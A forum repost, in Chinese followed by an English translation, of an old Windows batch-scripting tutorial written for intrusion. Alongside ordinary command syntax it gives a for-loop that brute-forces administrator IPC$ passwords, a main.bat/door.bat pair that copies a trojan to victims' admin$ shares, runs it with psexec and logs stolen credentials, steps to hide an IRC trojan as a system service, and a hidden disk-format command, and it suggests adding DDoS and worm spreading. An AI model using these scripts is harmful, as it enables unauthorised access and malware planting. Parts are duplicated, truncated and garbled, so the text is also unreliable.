一直执行完所有命令;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单,如:
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb
E:\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法
可以替换IF exist了.
3.││
Usage:第一条命令 ││ 第二条命令
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的
命令则一直执行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3
>>victim.txt
四、管道命令的使用
1.│ 命令
Usage:第一条命令 │ 第二条命令
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
sample:
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登
录用户的IP。
2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内
容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不
例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运
行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比
较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,
然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没
有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到
回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删
除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统
的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操
作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子
项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在下
新建了:Invader、door、about这三个项目
Invader的类型是"String value"
door的类型是"REG SZ value"
Autodos的类型是"DWORD value"
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s
)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
"Ex4rch"=-
执行该脚本,下的"Ex4rch"就
被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows Registry Editor Version 5.00
执行该脚本,就已经被删除了
。
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了
,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo >Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的
下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查
杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为
windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=
c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM
@REM 这样不是更安全.
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
http://wenwen.sogou.com/z/q178444210.htm
Tianliangshuowan'an, Level 4
2010-02-05 Answer
I have many, hope it helps you
Supplementary:
I. Brief Introduction to Simple Batch Processing Internal Commands
1. Echo command
Turn on or off the request echo function, or display a message. If there are no parameters, the echo command will display the current echo setting.
Syntax:
echo
Sample: @echo off / echo hello world
In practical applications, we will combine this command with the redirection symbol (also called the pipe symbol, generally using > >> ^) to implement inputting some commands into files of a specific format. This will be reflected in subsequent examples.
2. @ command
Indicates not to display the command after @. In the process of intrusion (for example, using a batch to format the enemy's hard disk), of course, we cannot let the other party see the commands we use.
Sample: @echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (the format command cannot use the /y parameter. Fortunately, Microsoft left the autoset parameter for us, and the effect is the same as /y.)
3. Goto command
Specify to jump to the label. After finding the label, the program will process the commands starting from the next line.
Syntax: goto label (label is the parameter, specifying the line in the batch program to be turned to.)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms (If you don't understand if, %1, %2 here, skip it first, and there will be detailed explanations later.)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
The name of the label can be any, but it is best to use meaningful letters. Add : in front of the letter to indicate that this letter is a label. The goto command is to find where to jump next according to this :. It is best to have some descriptions so that others can understand your intention.
4. Rem command
Comment command, which is equivalent to /*--------*/ in C language. It will not be executed, but only plays a comment role, which is convenient for others to read and your own future modification.
Rem Message
Sample: @Rem Here is the description.
5. Pause command
When the Pause command is run, the following message will be displayed:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
In this example, all files on the disk in drive A are copied to d:\back. When the displayed comment prompts you to put another disk into drive A, the pause command will suspend the program so that you can change the disk, and then press any key to continue processing.
6. Call command
Call another batch program from a batch program, and the parent batch program will not be terminated. The call command accepts the label used as the call target. If used outside a script or batch file, Call will not work on the command line.
Syntax:
call FileName ] ]
Parameters:
FileName
Specify the location and name of the batch program to be called. The filename parameter must have the .bat or .cmd extension.
7. start command
Call an external program. All DOS commands and command-line programs can be called by the start command.
Common parameters:
MIN starts with the window minimized
SEPARATE starts a 16-bit Windows program in a separate space
HIGH starts the application in the HIGH priority category
REALTIME starts the application in the REALTIME priority category
WAIT starts the application and waits for it to end
parameters These are parameters passed to the command/program
When the executed application is a 32-bit GUI application, CMD.EXE returns to the command prompt without waiting for the application to terminate. If executed in a command script, this new behavior will not occur.
8. choice command
The choice command allows the user to enter a character to run different commands. When using it, the /c: parameter should be added. The characters that can be entered should be written after c:, with no spaces in between. Its return code is 1234......
For example: choice /c:dme defrag,mem,end
The following will be displayed
defrag,mem,end?
Sample:
The content of Sample.bat is as follows:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (The highest error code should be judged first)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
After this file is run, defrag,mem,end? will be displayed. The user can choose d m e, then the if statement will make a judgment. d means executing the program segment labeled defrag, m means executing the program segment labeled mem, e means executing the program segment labeled end. Each program segment finally uses goto end to jump the program to the end label, then the program will display good bye, and the file ends.
9. If command
if means to judge whether the specified condition is met, so as to decide to execute different commands.
There are three formats:
1)、if "parameter" == "string" command to be executed
If the parameter is equal to the specified string, the condition is established, and the command is run, otherwise the next sentence is run. (Note that there are two equal signs)
Such as if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2)、if exist filename command to be executed
If the specified file exists, the condition is established, and the command is run, otherwise the next sentence is run.
Such as if exist config.sys edit config.sys
3)、if errorlevel / if not errorlevel number command to be executed
If the return code is equal to the specified number, the condition is established, and the command is run, otherwise the next sentence is run.
Such as if errorlevel 2 goto x2
All DOS programs return a number to DOS when running, called errorlevel or return code. Common return codes are 0 and 1.
10. for command
The for command is a relatively complex command, mainly used to loop and execute commands within a specified range of parameters.
When using the FOR command in a batch file, use %%variable to specify the variable
for {%variable│%%variable} in (set) do command
%variable specifies a single letter replaceable parameter.
(set) specifies one or a group of files. Wildcards can be used.
command specifies the command to be executed for each file.
command-parameters specify parameters or command-line switches for a specific command.
When using the FOR command in a batch file, use %%variable to specify the variable
instead of %variable. Variable names are case-sensitive, so %i is different from %I
If command extensions are enabled, the following additional FOR command formats will be supported:
FOR /D %variable IN (set) DO command
If wildcards are included in the concentration, it means matching with the directory name, not with the file name.
FOR /R path] %variable IN (set) DO command
Check the directory tree rooted at path, and point to the FOR statement in each directory. If no directory is specified after /R, the current directory is used. If the set is only a single dot (.) character, the directory tree is enumerated.
FOR /L %variable IN (start,step,end) DO command
The set represents a sequence of numbers from start to end in increments.
Therefore, (1,1,5) will generate the sequence 1 2 3 4 5, and (5,-1,1) will generate
sequence (5 4 3 2 1).
FOR /F %variable IN (file-set) DO command
FOR /F %variable IN ("string") DO command
FOR /F %variable IN ('command') DO command
Or, if the usebackq option is used:
FOR /F %variable IN (file-set) DO command
FOR /F %variable IN ("string") DO command
FOR /F %variable IN ('command') DO command
filenameset is one or more filenames. Before continuing to the next file in filenameset, each file has been opened, read, and processed.
Processing includes reading the file, dividing it into lines of text, and then parsing each line into zero or more symbols. Then the For loop is called with the found symbol string variable value. By default, /F separates the first blank symbol in each line of each file. Skip blank lines. You can specify the optional "options" parameter instead of the default parsing operation. This quoted string includes one or more keywords specifying different parsing options. These keywords are:
eol=c - refers to the end of a line comment character (just one)
skip=n - refers to the number of lines to be ignored at the beginning of the file.
delims=xxx - refers to the delimiter set. This replaces the default delimiter set of spaces and tabs.
tokens=x,y,m-n - refers to which symbol of each line is passed to for itself in each iteration. This will result in the format of additional variable names as a range. Specify the last character asterisk of the m symbol string through the nth symbol, then the additional variable will be assigned and accepted the reserved text of the line after the last symbol parsing.
usebackq - specifies that the new syntax has been used in the following cases:
When executing a backquoted string as a command and the quote character is a literal string command and allows file names enclosed in double quotes in file-set.
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
It will analyze each line in myfile.txt, ignore those lines starting with semicolons, and pass the second and third symbols in each line to the for program body; delimited by commas and/or spaces. Please note that the statement of this for program body refers to %i to get the second symbol, %j to get the third symbol, and %k to get all the remaining symbols after the third symbol. For file names with spaces, you need to enclose the file name in double quotes. To use double quotes in this way, you also need to use the usebackq option, otherwise, the double quotes will be understood as being used to define a string to be parsed.
%i is specifically explained in the for statement, and %j and %k are specifically explained through the tokens= option. You can specify up to 26 symbols through tokens= in one line, as long as you do not try to specify a variable higher than the letter 'z' or 'Z'. Remember that FOR variables are single letters, case-sensitive, and global; and there cannot be more than 52 in use.
You can also use the FOR /F analysis logic on adjacent strings; the method is to enclose the filenameset between parentheses with single quotes.
In this way, the string will be treated as a single input line in a file.
Finally, you can use the FOR /F command to analyze the output of the command. The method is to turn the filenameset between parentheses into a backquoted string. This string will be treated as a command line, passed to a sub CMD.EXE, and its output will be captured in memory and treated as a file analysis. Therefore, the following example:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
It will enumerate the environment variable names in the current environment.
In addition, the replacement of FOR variable references has been enhanced. You can now use the following option syntax:
~I - remove any quotes ("), expand %I
%~fI - expand %I to a fully qualified path name
%~dI - only expand %I to a drive letter
%~pI - only expand %I to a path
%~nI - only expand %I to a file name
%~xI - only expand %I to a file extension
%~sI - the expanded path only contains short names
%~aI - expand %I to the file attributes of the file
%~tI - expand %I to the date/time of the file
%~zI - expand %I to the size of the file
%~$PATH:I - find the directory listed in the path environment variable, and expand %I to the first fully qualified name found. If the environment variable is not defined, or the file is not found, this combination key will expand to an empty string
You can combine modifiers to get multiple results:
%~dpI - only expand %I to a drive letter and path
%~nxI - only expand %I to a file name and extension
%~fsI - only expand %I to a complete path name with a short name
%~dp$PATH:i - find the directory listed in the path environment variable, and expand %I to the first drive letter and path found.
%~ftzaI - expand %I to a DIR-like output line
In the above example, %I and PATH can be replaced with other valid values. The %~ syntax is terminated with a valid FOR variable name. Choosing an uppercase variable name like %I is easy to read and avoids confusion with case-insensitive combination keys.
The above is the official help from MS. Below we give a few examples to specifically illustrate the use of the For command in intrusion.
sample2:
Use the For command to implement brute-force password cracking on a target Win2k host.
We use net use \\ip\ipc$ "password" /u:"administrator" to try to connect with the target host. When it is successful, record the password.
The main command is a line: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
Use i% to represent the password of admin. In dict.txt, the value of i% is taken to connect with the net use command. Then the running result of the program is passed to the find command -
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":The command completed successfully">>D:\ok.txt, and then it's done.
sample3:
Do you ever have a large number of zombies waiting for you to plant backdoors + trojans? When the number is particularly large, what was originally a happy thing will become very depressed:) The article mentioned at the beginning that using batch files can simplify daily or repetitive tasks. So how to achieve it? Hehe, you will understand when you read on.
The main command is also only one line: (when using the FOR command in a batch file, specify the variable using %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
For the usage of tokens, please refer to sample1 above. Here it means to pass the content in victim.txt to the parameters %i %j %k in door.bat in sequence.
And cultivate.bat is nothing more than using the net use command to establish an IPC$ connection, and copy the trojan + backdoor to the victim, then use the return code (If errorlever =) to screen the host that successfully plants the backdoor, and echo it out, or echo it to a specified file.
delims= means that the content in vivtim.txt is separated by a space. I think you must understand what the content in this victim.txt is like when you see here. It should be arranged according to the objects represented by %%i %%j %%k. Generally, it is ip password username.
Code outline:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------
------------------- cut here then save as a batchfile(I call it door.bat) ------------------
-----------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3
>>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------
------------
This is just a prototype of an automatic backdoor planting batch. The two batch files, the backdoor program (Windrv32.exe), and PSexec.exe need to be placed in the same directory. The batch content
can also be expanded, for example: add functions to clear logs + DDOS, add functions to add users regularly, and go deeper to make it have automatic propagation functions (worms). I won't go into details here. Interested friends can study it by themselves.
II. How to Use Parameters in Batch Files
Parameters can be used in batch processing. Generally, there are nine parameters from 1% to 9%. When there are multiple parameters, shift is needed to move, which is not common, so we don't consider it.
sample1: fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat It can't be written down, sent in several batches!!!
Supplementary:
This example is used to continuously format several floppy disks, so when using it, you need to enter fomat.bat a in the dos window. Hehe, it seems a bit superfluous~
sample2:
When we always need to enter a long string of commands to establish an IPC$ connection, and it is easy to make mistakes, so we might as well write some fixed commands into a batch, and use the ip password username of the zombie as parameters to assign to this batch, so that we don't need to type the commands every time.
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" Note that here PASSWORD is the second parameter.
@if errorlevel 1 echo connection failed
How about it, using parameters is still relatively simple? You must have learned it. No.3
III. How to Use Compound Commands (Compound Command)
1. &
Usage: First command & Second command
Use this method to execute multiple commands at the same time, regardless of whether the command is executed successfully
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage: First command && Second command
Use this method to execute multiple commands at the same time. When encountering a command that fails to execute, the subsequent commands will not be executed. If there is no error, all commands will be executed all the time;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
This command may be used more simply when doing backups, such as:
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb
E:\backup
If the backup.mdb file exists on the remote server, the copy command will be executed. If the file does not exist, the copy command will not be executed. This usage can replace IF exist.
3.││
Usage: First command ││ Second command
Use this method to execute multiple commands at the same time. When encountering a command that executes correctly, the subsequent commands will not be executed. If no correct command appears, all commands will be executed all the time;
Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
Example of combined command use:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3
>>victim.txt
IV. Use of Pipe Commands
1. │ command
Usage: First command │ Second command
Use the result of the first command as the parameter of the second command. Remember that this method is very common in unix.
sample:
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer
Can you see it? It is used for terminal services to allow us to customize the starting program for the user to implement letting the user run the following bat to obtain the IP of the logged-in user.
2. >, >> output redirection command
Redirect the output result of a command or a certain program to a specific file. The difference between > and >> is that > will clear the content in the original file and then write to the specified file, while >> will only append content to the specified file without changing the content in it.
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
Nowadays, DLL trojans are popular. We know that system32 is a good place to hide. Many trojans are sharpening their heads to get in there, and DLL horses are no exception. In response to this point, we can record the EXE and DLL files in this directory after installing the system and necessary applications:
Run CMD--switch the directory to system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
In this way, the names of all EXE and DLL files are recorded in exeback.txt and dllback.txt respectively,
In the future, if there is an abnormality but no problem is found by traditional methods, it is necessary to consider whether a DLL trojan has entered the system.
At this time, we use the same command to record the EXE and DLL files in system32 into exeback1.txt and dllback1.txt, and then run:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt. (Use the FC command to compare the DLL and EXE files of the previous two times, and input the result into diff.txt), so that we can find some extra DLL and EXE files,
Then, by checking the creation time, version, whether it is compressed, etc., it is easier to judge whether it has been visited by a DLL trojan. It is best if there is none. If there is, don't directly DEL it. First use regsvr32 /u trojan.dll to unregister the backdoor DLL file, then move it to the recycle bin. If there is no abnormal reflection in the system, then delete it completely or submit it to the antivirus software company.
3. < 、>& 、<&
< reads the command input from the file instead of from the keyboard.
>& writes the output of one handle to the input of another handle.
<& reads input from one handle and writes it to the output of another handle.
These are not commonly used, so I won't introduce them more.
V. How to Use Batch Files to Operate the Registry
In the process of intrusion, we often operate the specific key values of the registry to achieve certain purposes. For example, to hide the residual key values of the backdoor and trojan program, or to create a service to load the backdoor. Of course, we will also modify the registry to strengthen the system or change a certain attribute of the system. These all require us to have a certain understanding of registry operations. Below we first learn how to use the .REG file to operate the registry. (We can use a batch to generate a REG file)
Regarding the operation of the registry, the common ones are creation, modification, and deletion.
1. Creation
Creation is divided into two types, one is to create a subkey (Subkey)
We create a file with the following content:
Windows Registry Editor Version 5.00
Then execute this script, and you have created a subkey named "hacker" under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.
The other is to create a project name
Then this file format is a typical file format, consistent with the file format you export from the registry, and the content is as follows:
Windows Registry Editor Version 5.00
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
In this way, three projects: Invader, door, about are newly created under
The type of Invader is "String value"
The type of door is "REG SZ value"
The type of Autodos is "DWORD value"
2. Modification
Modification is relatively simple. Just export the project you need to modify, then modify it with Notepad, and then import it (regedit /s).
3. Deletion
Let's first talk about deleting a project name. We create a file as follows:
Windows Registry Editor Version 5.00
"Ex4rch"=-
Execute this script, and "Ex4rch" under is deleted;
Let's take a look at deleting a subkey. We create a script as follows:
Windows Registry Editor Version 5.00
Execute this script, and has been deleted.
I believe you have basically mastered the .reg file when you see here. Then the current goal is to use a batch to create a .reg file with specific content. Remember that we mentioned earlier that the redirection symbol can be used to easily create files of a specific type.
samlpe1: For example, the above example. If you want to generate the following registry file
Windows Registry Editor Version 5.00
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
You only need to do this:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo >Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
When we are using some relatively old trojans, we may generate a key value under the registry to realize the self-start of the trojan. But this is very easy to expose the path of the trojan program, thus leading to the trojan being killed. Relatively speaking, if the trojan program is registered as a system service, it is relatively safe. Take the configured IRC trojan DSNX as an example (named windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=
c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM
@REM This is safer.
VI. Wonderful Example Release.
1. Batch to delete the default shares of win2k/xp system
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
http://wenwen.sogou.com/z/q178444210.htm
|

1<词>,2,3/段\,4{节},5(章)。 |
|
2017-8-30 23:33 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
|
2017-8-31 18:12 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
|
2017-8-31 18:12 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
|
2017-8-31 18:12 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
|
2017-8-31 18:12 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
|
2017-8-31 18:12 |
|
|